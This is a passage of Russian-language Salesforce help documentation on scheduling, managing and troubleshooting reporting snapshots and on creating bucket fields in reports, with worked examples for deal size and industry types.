1. Введите строку «Отчетные снимки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Отчетные снимки».

2. Выберите имя нужного отчетного снимка.

Если пользователь, указанный в поле «Текущий пользователь», не имеет доступа к
папке исходного отчета, то отчетные снимки не будут выполняться по расписанию.

Прим.: Деактивация текущегопользователяпрепятствует выполнениюотчета.
Система Salesforce посылает уведомление по электронной почте о
необходимости активировать пользователя, удалить запланированный отчет
илиизменитьтекущегопользователянаактивного. Система Salesforce отправляет
уведомление пользователям с полномочиями «Управление пользователями»,
«Изменение всех данных» и «Управление расчетами». При отсутствии
пользователей, имеющих все эти полномочия, система Salesforce отправляет
уведомление пользователям с полномочиями «Управление пользователями»
и «Изменение всех данных».

3. Щелкните «Правка» в разделе «Запланировать отчетный снимок».

Раздел «Запланировать отчетный снимок» страницы сведений об отчетном снимке
отображает сведения о расписании выполнения отчетного снимка.

4. Чтобы отправить электронное уведомление о завершении выполнения отчетного снимка, настройте параметры
уведомления.

• Чтобыотправитьсообщениенаадресэл. почты, указанныйвсобственнойзаписипользователяSalesforce, установите
флажок «Мне».

• Чтобы отправить сообщение эл. почты дополнительным пользователям, установите флажок «Другим
пользователям...». Уведомленияоботчетномснимкемогутбытьотправленытольконаадресаэл. почты, указанные
в записяхпользователей Salesforce. Более того, пользователииобщедоступные группымогутбыть выбранытолько
посредством раскрывающегося списка «Поиск».

5. Запланируйте выполнение отчетного снимка.

• Выберите частоту выполнения отчетного снимка в поле «Частота». Чтобы уточнить критерии частоты,
воспользуйтесь полем «Ежедневно», «Еженедельно» или «Ежемесячно», поддерживающим дополнительные
параметры.
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Отчетный снимок, выполнение которого запланировано на определенный день каждого месяца, выполняется
только в те месяцы, которые содержат данный день.Например, отчетный снимок, выполнение которого
запланировано на 31 число каждого месяца, выполняется только в те месяцы, которые содержат 31 день. Чтобы
выполнятьотчетныйснимоквпоследнийденькаждогомесяца, выберитезначение «Последний» враскрывающемся
списке «числа каждого месяца».

• Чтобы задать продолжительность расписания выполнения отчетного снимка, выберите нужные даты в полях
«Начать» и «Завершить».

• Чтобы выбрать предпочтительное время начала выполнения отчетного снимка, щелкните ссылку «Найти
доступные варианты...» в раскрывающемся списке «Предпочтительное время начала».

– Предпочтительное времяначаламожет быть недоступно, еслионо уже выбрано другимипользователямиили
достигнуто ограничение по количеству отчетных снимков.

– Отчетные снимки выполняются в часовомпоясе пользователя, запланировавшегоих выполнение. Например,
если поле «Часовой пояс» в записи пользователя содержит стандартное тихоокеанское время, а отчетный
снимок должен выполняться каждый день в 14:00, то отчетный снимок будет выполняться ежедневно в 14:00
по стандартному тихоокеанскому времени.

– Если запланированное обновление просматривается и сохраняется в другом часовом поясе, то временной
интервал может быть изменен.

– Отчетный снимок выполняется в течение часа со времени, выбранного в раскрывающемся списке
«Предпочтительное время начала». Например, если выбрать в качестве предпочтительного времени начала
14:00, то отчетный снимок может выполняться в любое время между 14:00 и 14:59, в зависимости от количества
других отчетных снимков, выполнение которых запланировано на данное время.

6. Чтобы запланировать выполнение отчетного снимка, нажмите кнопку «Сохранить».

При выполнении отчетный снимок добавляет новые записи в целевой объект.

Ниже перечислены действия, которые могут быть выполнены над запланированным отчетным снимком (щелкните
«Правка» в разделе «Запланировать отчетный снимок» страницы сведений об отчетном снимке).

• Чтобы обновить параметры уведомления и частоту выполнения отчетного снимка, щелкните «Правка».

• Чтобы удалить текущее расписание выполнения отчетного снимка, щелкните «Удалить».

Ниже перечислены условия, при которых запланированное выполнение отчетного снимка отменяется.

• Исходный отчет содержит более 100 полей.

• Формат исходного отчета изменен со сводного на табличный.

• Выбранный уровень группировки для сводного исходного отчета больше не действителен.

• Текущему пользователю не предоставлен доступ к исходному отчету.

• Текущему пользователю не назначено полномочие «Запуск отчетов».

• Целевой объект содержит более 100 настраиваемых полей.

• Целевой объект содержит правила проверки.

• Целевой объект используется бизнес-правилом.

• Целевой объект является подробным во взаимосвязи «Основная—подробная».

• Целевой объект запускает триггер Apex при создании записей.

• Текущемупользователюненазначенополномочие «Создание» дляцелевогообъекта. Обратите внимание, что статус
целевого объекта «В разработке» требует наличия полномочия «Настройка приложения».
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Управление отчетными снимками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

Пользователь может просматривать сведения, а также редактировать и удалять
настроенные отчетные снимки. Введите строку «Отчетные снимки» в поле «Быстрый
поиск» вменю «Настройка», затемвыберитепункт «Отчетныеснимки», чтобыоткрыть
страницу «Отчетные снимки», на которой отображается список определенных для
организации отчетных снимков.

Ниже перечислены действия, доступные на странице «Отчетные снимки».

• Чтобы открыть страницу со списком, выберите нужное списковое представление в
раскрывающемся списке «Просмотр». Чтобы создать собственное настраиваемое
представление, щелкните ссылку «Создать новое представление».

• Чтобы определить новый отчетный снимок, нажмите кнопку «Создать отчетный
снимок».

• Чтобы обновить имя, описание, текущего пользователя, исходный отчет и целевой
объект отчетного снимка, щелкните ссылку «Правка» напротив имени нужного
снимка. Только пользователи с полномочием «Изменение всех данных» могут
выбирать других текущих пользователей.При наличии полномочия «Настройка
приложения» введитеуникальноеимя, котороедолжноиспользоватьсяинтерфейсом
API и управляемыми пакетами.

Послеизмененияисходногоотчетаилицелевогообъектаотчетногоснимка текущие
соотнесенияполейудаляютсяприсохраненииотчетногоснимка. Чтобыпросмотреть
количествополейрезюмированияилицелевыхполей, воспользуйтесьпараметрами
«Поля резюмирования в исходном отчете» и «Поля целевого объекта»,
соответственно.

• Чтобыудалитьотчетныйснимок, щелкнитессылку «Удал.»напротивименинужного
снимка. Удаленный отчетный снимок не может быть восстановлен из корзины.

Важное замечание: Удаление отчетного снимка не инициирует удаление
исходного отчета и целевого объекта. Однако выполняемый исходный отчет
не загружает данные в целевой объект.

При необходимости удалите расписание выполнения отчетного снимка.
Выполнениеотчетногоснимканеможетбытьостановленоилиприостановлено,
а исходный отчет не может быть удален. Чтобы удалить исходный отчет,
рекомендуем сначала удалить отчет из отчетного снимка путем изменения
отчета в раскрывающемся списке «Исходный отчет».

• Чтобы просмотреть подробные сведения об отчетном снимке и выполнить его настройку, щелкните имя нужного
снимка. Ниже перечислены доступные действия.

– Чтобыпросмотреть текущего пользователя, исходныйотчет и целевойобъект отчетного снимка, воспользуйтесь
ссылкамивразделе «Идентификация». Чтобыпросмотретьпредпочтительнуюдатуивремяследующеговыполнения
отчетного снимка, воспользуйтесь полем «Следующий запуск». Чтобы просмотреть дату и время последнего
выполнения отчетного снимка, воспользуйтесь полем «Последний запуск».

– Чтобывыполнитьдополнительнуюнастройкуполейисходногоотчета, соотнесенныхсполямицелевогообъекта,
щелкните «Правка» в разделе «Соотнесения полей».

Раздел «Соотнесения полей отчетного снимка» отображает поля исходного отчета, соотнесенные с полями
целевого объекта. Чтобыпросмотреть количество полей исходного отчета, доступных для соотнесения с полями
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целевого объекта, воспользуйтесь полем «Столбцы в исходном отчете». Чтобыпросмотреть количество полей
целевого объекта, доступных для соотнесения, воспользуйтесь полем «Поля целевого объекта».

– Чтобы запланировать выполнение отчетного снимка, щелкните «Правка» в разделе «Запланировать отчетный
снимок».

Раздел «Запланировать отчетный снимок» содержит сведения о текущем расписании отчетного снимка.

– Раздел «Журнал выполнения» содержит сведения о выполнении отчетного снимка. А именно:

• Дата и время выполнения отчетного снимка

• Имя исходного отчета, целевого объекта и текущего пользователя

• Время выполнения отчетного снимка

• Общее количество строк сведений или резюмирования исходного отчета (в зависимости от типа отчета)

• Количество записей, созданных в целевом объекте

• Успешность выполнения отчетного снимка

Раздел «Журнал выполнения» может содержать не более 200 записей. После сохранения 200 записей система
автоматически удаляет самую первую запись без возможности восстановления.

СМ. ТАКЖЕ:

Составление отчетов по архивным данным посредством отчетных снимков

4090

ОтчетыAnalytics



Устранение неполадок отчетных снимков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

Раздел «Журнал выполнения» страницы сведений об отчетном снимке содержит
информацию об успешности выполнения отчетного снимка. Ошибка, возникающая
во время запланированного выполнения отчетного снимка, регистрируется в столбце
«Результат». Чтобы просмотреть сведения о выполнении, щелкните дату и время в
столбце «Время начала выполнения».

Совет:

• Если поле «Количество строк "Итого"» содержит пустое значение,
следовательно, выполнение прервано до завершения отчета (например,
недопустимый отчет или неактивный текущий пользователь).

• Выполняемыйотчетныйснимокможетдобавлятьнеболее 2 000 новых записей
вцелевойобъект. Припревышенииданногоограничения записидобавляются
в связанный список «Сбои строки». Если поле «Количество строк "Итого"»
содержитпустое значение, ажурнал выполнения содержит запись «Не удалось
выполнитьобработку строк», следовательно, количествоитоговыхстрокотчета
превышает 2000.

• Сведения об ошибке выполнения доступны в связанном списке «Сбои строки»
в течение 14 дней, поистечениикоторыхподлежат автоматическомуудалению.
Сведения о сбоях строки не могут быть извлечены из корзины.

• Если целевой объект содержит уникальное поле, а записи отчета содержат
несколькоодинаковыхзначенийвстолбце, соотнесенномсданнымуникальным
полем, то повторяющиеся записи не добавляются. Журнал выполнения
содержит сведения о записях, которые не добавляются в отчетный снимок.

• Если поля не соотносятся, то система продолжает выполнение снимка, но
журнал выполнения содержит запись о частной ошибке.

Запланированноевыполнениеотчетногоснимкаможетбытьнеудачнымпорядупричин.
Данная таблица содержит возможные ошибкии способыих устранения для успешного
выполнения отчетного снимка.

Текущий пользователь не имеет права на запуск отчетов.
Пользователю, указанному в поле «Текущий пользователь», не предоставлено
полномочие «Запуск отчетов» или «Создание и настройка отчетов». Выберите пользователя с соответствующими
полномочиями или предоставьте текущему пользователю нужные полномочия.

Не удается выполнить отчетный снимок ввиду удаления исходного отчета.
Отчет, указанныйвполе «Исходный отчет», удаленинедоступендля выполнения. Выберите другойисходныйотчет
для отчетного снимка или восстановите удаленный отчет из корзины.

Текущий пользователь не имеет права доступа к исходному отчету.
Пользователю, указанномувполе «Текущий пользователь», недоступнапапка, содержащаяисходныйотчет. Выберите
пользователя, имеющего доступ к исходному отчету, или предоставьте текущему пользователю доступ к папке,
содержащей исходный отчет.

Определение исходного отчета устарело.
Отчет, указанный в поле «Исходный отчет», ссылается на настраиваемый объект, который недоступен для отчетов,
или взаимосвязи между объектами отчета изменены.
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Недопустимое определение исходного отчета.
Отчет, указанный в поле «Исходный отчет», не может быть выполнен, так как содержит недопустимые формулы
или критерии фильтрации. Чтобы выполнить отчет без ошибок, обновите отчет.

Текущий пользователь не имеет права доступа к типу отчета.
Пользователю, указанному в поле «Текущий пользователь», недоступен тип отчета, связанный с отчетом в поле
«Исходный отчет». Выберитетекущегопользователяссоответствующимиполномочиямиилипредоставьтетекущему
пользователю нужные полномочия.

В качестве источника должен использоваться табличный отчет.
Отчет, указанныйвполе «Исходный отчет», не является табличным. Выберитеновыйисходныйотчет илиизмените
формат текущего исходного отчета на табличный.

При последнем сохранении исходного отчета дополнительные сведения по результатам отчета были
скрыты.

Отчет, указанный в поле «Исходный отчет», сохранен со скрытыми сведениями. Чтобы просмотреть сведения об
исходном отчете, откройте отчет, нажмите кнопку «Показать сведения» и сохраните отчет.

Целевой объект удален или недоступен для текущего пользователя.
Настраиваемыйобъект, указанныйвполе «Целевой объект», удаленилипользователю, указанномувполе «Текущий
пользователь», недоступенцелевойобъект. Восстановите удаленныйнастраиваемыйобъект, выберитеновыйцелевой
объект или предоставьте текущему пользователю полномочие «Создание» для настраиваемого объекта, указанного
в поле «Целевой объект». Обратите внимание, что статус настраиваемого объекта «В разработке» требует наличия
полномочия «Настройка приложения» для доступа к целевому объекту.

Текущие пользователи не имеют права на редактирование целевого объекта.
Пользователю, указанномувполе «Текущий пользователь», неназначенополномочие «Создание» длянастраиваемого
объекта, указанноговполе «Целевой объект». Выберите текущегопользователя с соответствующимиполномочиями
или предоставьте текущему пользователю полномочие «Создание» для настраиваемого объекта, указанного в поле
«Целевой объект».

Целевой объект не должен быть подробным во взаимосвязи «Основная–подробная».
Настраиваемый объект, указанный в поле «Целевой объект», является подробным во взаимосвязи
«Основная–подробная», то есть, основной объект определяет некоторые алгоритмы для записей целевого объекта.
Выберите целевой объект, отсутствующий во взаимосвязи «Основная–подробная».

Целевой объект не должен быть включен в бизнес-правила.
Настраиваемый объект, указанный в поле «Целевой объект», используется бизнес-правилом. Выберите целевой
объект, отсутствующий в бизнес-правиле.

Целевой объект не должен содержать триггера вставки.
Триггер Apex выполняется при создании записей настраиваемого объекта, указанного в поле «Целевой объект».
УдалитетриггерApexиливыберитецелевойобъект, которыйнеподдерживаетвыполнениетриггераApexприсоздании
записей.

Целевой объект не должен содержать правил проверки.
Настраиваемыйобъект, указанныйвполе «Целевой объект», содержитправилапроверки. Выберитецелевойобъект,
который не содержит правил проверки, или удалите правила проверки из текущего целевого объекта.

Текущий пользователь неактивен.
Пользователь, указанный в поле «Текущий пользователь», неактивен. Выберите активного пользователя.
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Как минимум одно обязательное поле целевого объекта не соотнесено.
Как минимум одно обязательное поле целевого объекта не соотнесено. Соотнесите все обязательные поля целевого
объекта с полями исходного отчета.

Исходный отчет содержит слишком много полей, поле формулы с большим количеством функций или
слишком много критериев.

Отчет, указанный в поле «Исходный отчет», содержит слишком много полей, критериев или функций в поле
формулы. Удалите любые ненужные поля, критерии и функции из исходного отчета.

В исходном отчете должно быть выбрано не более 100 столбцов.
Отчет, указанныйвполе «Исходный отчет», содержитболее 100 полей. Удалителюбыененужныеполяизисходного
отчета.

Целевой объект может содержать не более 100 настраиваемых полей.
Настраиваемый объект, указанный в поле «Целевой объект», содержит более 100 настраиваемых полей. Удалите
любые ненужные поля из целевого объекта.

Превышено ограничение по времени обработки отчета.
Отчет, указанный в поле «Исходный отчет», может содержать слишком много данных. Чтобы сократить объем
данных, обрабатываемых отчетом при выполнении, ограничьте диапазон данных отчета и удалите любые ненужные
поля из исходного отчета.

Данное уникальное имя отчетного снимка уже существует. Выберите другое уникальное имя.
Уникальное имя нового снимка уже используется текущим снимком.

Поле резюмирования возвращает неверное число.
Поле резюмирования возвращает неверное число. Например, поле пытается разделить значение на «0». Проверьте
формулы и протестируйте значения «0» и «ноль» в расчетах при их наличии в данных.

При использовании данного отчетного снимка произошла ошибка. Формат исходного отчета изменен с
табличного на сводный. Соотнесения полей в отчетном снимке недействительны. Разрешается изменить
формат отчета на табличный или обновить соотнесения полей в определении снимка.

Формат исходного отчета изменен с табличного на сводный, что инициировало неправильное соотнесение полей
вотчетномснимке. Чтобыисправитьданнуюошибку, изменитеформатотчетанатабличныйилиобновитесоотнесения
полей в определении аналитического снимка. Данная ошибка применяется только к отчетным снимкам со сводными
отчетами.

При использовании данного отчетного снимка произошла ошибка. В качестве источника должен
использоваться табличный или сводный отчет.

В качестве источника должен использоваться табличный или сводный отчет. Матричные отчеты не могут
использоваться отчетными снимками.

Уровень группировки, указанный в отчетном снимке, недействителен. Текущий пользователь больше
не имеет прав доступа к данному полю. Уровень группировки не был выбран или был удален из
исходного отчета.

Данная ошибка может возникать, если текущему пользователю недоступно поле, указанное в уровне группировки,
или уровень группировки удален из исходного отчета или не задан. Данная ошибка применяется только к отчетным
снимкам со сводными отчетами. Убедитесь, что текущему пользователю доступны все нужные поля.

СМ. ТАКЖЕ:

Создание настраиваемого отчета
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Быстрая категоризация данных посредством областей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция добавления в область позволяет быстро классифицировать записи отчета без
созданияформулыилинастраиваемогополя. Присозданииполяобластипользователь
определяетнесколькокатегорий (областей), используемыхдля группирования значений
отчета.

Функция добавления в область позволяет быстро классифицировать записи отчета без
созданияформулыилинастраиваемогополя. Например, создайтеполеобласти «Размер»
на основе поля «Количество сотрудников». Затем создайте области, группирующие
записивзаданныедиапазоны «Крупный», «Средний» и «Малый». Подобнолюбымдругим
полям, поляобластиподдерживаютсортировку, фильтрациюигруппирование записей
отчета.

1. Добавление поля области
Пользователимогут создавать поля, содержащие области, которые предназначеныдля организации данных отчетов.

2. Редактирование поля области
Чтобы настроить поле области, выберите области, доступные в данном поле, и значения, используемые данными
областями.

3. Редактирование поля числовой области
Числовая область позволяет сортировать числовые данные.

4. Пример добавления в числовую область: размер сделки
Чтобыполучитьболееполноепредставлениеосделках, просмотритенужныесделкиспомощьюфункциидобавления
вобласть, котораяпозволяет группироватьзначенияотчетапоразмерусделки. Даннаяфункцияпозволяетпросмотреть
только крупные сделки, которые составляют основу плана продаж.

5. Редактирование поля области раскрывающегося списка
Поле области раскрывающегося списка содержит элементы, которые могут быть выбраны из списка.

6. Пример добавления в область раскрывающегося списка: типы отраслей
Поле области раскрывающегося списка позволяет сортировать организации по отраслям.

7. Редактирование поля текстовой области
Текстовая область позволяет сортировать значения, содержащие слова или фразы.

8. Ввод значений для текстовых областей
Поле текстовой области должно использовать описательное имя и не менее двух областей, содержащих текстовые
строки.

9. Пример добавления в текстовую область: ключевые организации
Текстовая область позволяет сортировать организации по основным доступным категориям.
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Добавление поля области

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Пользователи могут создавать поля, содержащие области, которые предназначены для
организации данных отчетов.

Вотчетможетбытьдобавленонеболеепятиполейобласти, каждоеизкоторыхсодержит
не более 20 областей.

1. Дваждыщелкните «Добавить поле области» на панели «Поля» в конструкторе
отчетовилиперетащитенужноеполевобластьпредварительногопросмотраотчета.
Также можете щелкнуть меню столбца для нужного поля отчета и выбрать пункт
«Добавить данное поле в область».

2. Измените поле области в соответствии с типом поля.

• Редактирование поля числовой области

• Редактирование поля области раскрывающегося списка

• Редактирование поля текстовой области

Поля других типов не поддерживаются.

Редактирование поля области

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобынастроитьполеобласти, выберитеобласти, доступныевданномполе, изначения,
используемые данными областями.

1. Наведите указатель мыши на нужное поле области ищелкните значок в разделе
«Поля области» на панели «Поля» в конструкторе отчетов. Илищелкните меню
столбца поля области на панели «Предварительный просмотр» и выберите пункт
«Редактировать поле области».

2. Измените поле области в соответствии с типом поля.

• Редактирование поля числовой области

• Редактирование поля области раскрывающегося списка

• Редактирование поля текстовой области
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Редактирование поля числовой области

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Числовая область позволяет сортировать числовые данные.

Ниже перечислены действия, доступные над числовым полем в области наложения
«Редактировать поле области».

1. Выберите нужное поле в поле «Исходный столбец».

2. Введите имя поля области. Данное имя отображается в отчете как имя столбца.

Поле области предназначено для хранения нескольких областей или диапазонов
(применительно к полям числовой области), поэтому его имя должно быть связано
со всеми областями. Например, поле области «Размер» может содержать диапазоны
«Малый», «Средний» и «Крупный».

3. Чтобы задать диапазон, введите нужное число и имя. Имя диапазона отображается
как значение в новом столбце.

Каждый диапазон охватывает значения, расположенные между нижним и верхним
(включительно) пределами.

Чтобы удалить все диапазоны и начать заново, щелкните «Очистить все».

4. Чтобы переместить все пустые значения в область, содержащую нулевое значение,
установите флажок «Считать пустые значения исходный столбец в отчете
нулевыми».

Еслиданныйфлажокнеустановлен, тозначениявнеобластиотображаютсявстолбце
в виде тире (-).

5. Нажмите кнопку «OK».

Столбцы числовой области сортируются в отчете по значениям диапазона.

СМ. ТАКЖЕ:

Пример добавления в числовую область: размер сделки
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Пример добавления в числовую область: размер сделки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы получить более полное представление о сделках, просмотрите нужные сделки с
помощьюфункции добавления в область, которая позволяет группировать значения
отчета по размеру сделки. Данная функция позволяет просмотреть только крупные
сделки, которые составляют основу плана продаж.

1. Создайте или измените стандартный отчет по возможностям.

2. Дваждыщелкните «Добавить поле области» на панели «Поля» в конструкторе
отчетов или перетащите нужное поле в отчет.

3. Выберите значение «Стоимость» в поле «Исходный столбец».

4. Введите критерий «Размер сделки» в поле «Имя поля области».

5. Введите значение «1000» для первой строки в разделе «Определить диапазоны».
Данное значение является максимальным для мелкой сделки. Введите имя «Малый»
для данного диапазона.

6. Щелкните «Добавить» и введите значение «25000» для второй строки. Данное
значение является максимальным для средней сделки. Введите имя «Средний» для
данного диапазона.

7. По умолчанию последний диапазон содержит любые значения, превышающие
значенияпредыдущегодиапазона. Данныйдиапазонне требует вводачисел. Введите
имя «Крупный» для данного диапазона.

8. Нажмите кнопку «OK».

Каждыйдиапазонвполяхчисловойобластиохватывает значения, расположенныемежду
нижнимиверхним (включительно) пределами. Посленастройкиданногополяобласти стоимостибудут группироваться
указанным ниже образом.

ОбластьСтоимости

Малый1 000 и менее

Средний1 001 — 25 000

Крупный25 001 и более

СМ. ТАКЖЕ:

Редактирование поля числовой области
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Редактирование поля области раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Полеобластираскрывающегосяспискасодержитэлементы, которыемогутбытьвыбраны
из списка.

Прим.: Нижеперечисленытипыраскрывающихсясписков, которыенемогутбыть
добавлены в область.

• Типы записи

• Подразделения

• Многозначные раскрывающиеся списки

• Раскрывающийся список «Тип» в отчетах по действиям

Ниже перечислены действия, доступные над полем раскрывающегося списка в области
наложения «Редактировать поле области».

1. Выберите нужное поле в поле «Исходный столбец».

2. Введите имя поля области. Данное имя отображается в отчете как имя столбца.

Поле области предназначено для хранения нескольких областей, поэтому его имя
должно быть связано со всеми областями. Например, поле области «Приоритет»
может содержать области «Высокий», «Средний» и «Низкий».

Важное замечание: Имя области раскрывающегося списка должно содержать
как минимум одну букву или символ. Поле области раскрывающегося списка,
содержащее область, имя которой состоит из одних чисел, не может быть
сохранено.

3. Чтобы создать область, щелкните «Создать область» и введите имя области. Чтобы сгруппировать записи отчета,
создайте несколько областей.

4. Чтобынайтиопределенное значение в списке значений, введитепервые символыегоименивполе «Быстрыйпоиск».
По мере ввода отображаются элементы, соответствующие заданному критерию.

5. Выберите нужные значения и перетащите их в область. Или выберите нужные значения ищелкните «Переместить
в», а затем выберите нужную область или введите новое имя области.

Ниже перечисленыфункции, доступные при добавлении значений в область.

• Чтобы просмотреть все значения в отчете, щелкните «Все значения».

• Чтобы просмотреть значения для отдельной области, щелкните имя области.

• Чтобы удалить значения из области, выберите нужные значения и перетащите их в другую область или в поле
«Значения вне области».

Прим.: Только активные значения раскрывающегося списка могут быть добавлены в область. Неактивные
значения раскрывающегося списка не отображаются.

6. Чтобы переместить все значения вне области в область «Другое», установите флажок «Показывать значения вне
области как "Другое"». Если данныйфлажок не установлен, то значения вне области отображаются в столбце с
именем значения.

7. Нажмите кнопку «OK».

Столбцы области раскрывающегося списка сортируются в отчете по положению области (как показано в диалоговом
окне «Редактироватьполеобласти»), послечего следуетобласть «Другое», еслиустановленфлажок «Показывать значения
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вне области как "Другое"», или имена элементов раскрывающегося списка вне области, если данныйфлажок не
установлен.

СМ. ТАКЖЕ:

Пример добавления в область раскрывающегося списка: типы отраслей

Пример добавления в область раскрывающегося списка: типы отраслей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Полеобластираскрывающегосяспискапозволяетсортироватьорганизациипоотраслям.

1. Создайтеилиизмените стандартныйотчетпоорганизациям, убедившись, чтоотчет
содержит как минимум несколько записей.

2. Дваждыщелкните «Добавить поле области» на панели «Поля» в конструкторе
отчетов или перетащите нужное поле в отчет.

3. Выберите значение «Отрасль» в поле «Исходный столбец».

4. Введите критерий «Типы отраслей» в поле «Имя поля области».

5. Щелкните «Создать область»и введите имя области «Информационные технологии».

6. Щелкните «Создать область» и введите имя области «Биотехнологии».

7. Щелкните «Создать область» и введите имя области «Телекоммуникации».

8. Выберите нужные значения и перетащите их в соответствующие области.

9. Установите флажок «Показывать значения вне области как "Другое"».

10. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Редактирование поля области раскрывающегося списка
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Редактирование поля текстовой области

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Текстовая область позволяет сортировать значения, содержащие слова или фразы.

Прим.: Нижеперечисленытипытекста, которыенемогутбытьдобавленывобласть.

• Область текста

• Область подробного текста

• Область обогащенного текста

• Область зашифрованного текста

• URL-адрес

• Дата

• Дата и время

Ниже перечислены действия, доступные над текстовым полем в области наложения
«Редактировать поле области».

1. Выберите нужное поле в поле «Исходный столбец».

2. Введите имя поля области. Данное имя отображается в отчете как имя столбца.

Поле области предназначено для хранения нескольких областей, поэтому его имя
должно быть связано со всеми областями. Например, поле области «Регион» может
содержать области «Восточный», «Западный» и «Центральный».

3. Чтобы создать область, щелкните «Создатьобласть»и введите имя области. Чтобы
сгруппировать записи отчета, создайте несколько областей.

4. Чтобы найти определенное значение в списке значений, введите полное имя или
его часть в поле «Поиск значений...» и нажмите кнопку «Поиск», либо оставьте поле незаполненным и нажмите
кнопку «Поиск».

В результате поиска отображаются не более 200 значений.

5. Выберите нужные значения и перетащите их в область. Или выберите нужные значения ищелкните «Переместить
в», а затем выберите нужную область или введите новое имя области.

Ниже перечисленыфункции, доступные при добавлении значений в область.

• Чтобыуказать точноеимя значенияилидобавить вобласть значения, появившиеся вотчетепозже, воспользуйтесь
полем «Ввод значений».

• Чтобы просмотреть значения для отдельной области, щелкните имя области.

• Чтобы удалить значения из области, выберите нужные значения ищелкните «Переместить в», а затем выберите
нужную область или введите новое имя области.

6. Чтобы переместить все значения вне области в область «Другое», установите флажок «Показывать значения вне
области как "Другое"». Если данныйфлажок не установлен, то значения вне области отображаются в столбце с
именем значения.

7. Нажмите кнопку «OK».
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Столбцы текстовой области сортируются в отчете в буквенно-цифровом порядке.

СМ. ТАКЖЕ:

Ввод значений для текстовых областей

Пример добавления в текстовую область: ключевые организации

Ввод значений для текстовых областей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Поле текстовой области должно использовать описательное имя и не менее двух
областей, содержащих текстовые строки.

Функция «Ввод значений» позволяет быстро добавлять нужные значения в область без
ихпредварительногопоиска. Даннаяфункция удобна в томслучае, еслиотчет содержит
большое количество значений (например, миллионы значений), а поиск нужного
значения выполняется слишком медленно. Кроме того, данная функция позволяет
вводить и группировать значения, добавленные в отчет позже.

Ниже перечислены действия, доступные над текстовым полем в области наложения
«Редактировать поле области».

1. Щелкните «Ввод значений».

2. Выберите область для перемещения значений. При нажатии кнопки «Создать
область» введите имя области.

3. Введите как минимум одно значение. При вводе нескольких значений рекомендуем
использовать разные строки.

4. Щелкните «Переместить».

СМ. ТАКЖЕ:

Редактирование поля текстовой области
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Пример добавления в текстовую область: ключевые организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Текстовая область позволяет сортировать организации по основным доступным
категориям.

1. Создайтеилиизмените стандартныйотчетпоорганизациям, убедившись, чтоотчет
содержит как минимум несколько записей.

2. Дваждыщелкните «Добавить поле области» на панели «Поля» в конструкторе
отчетов или перетащите нужное поле в отчет.

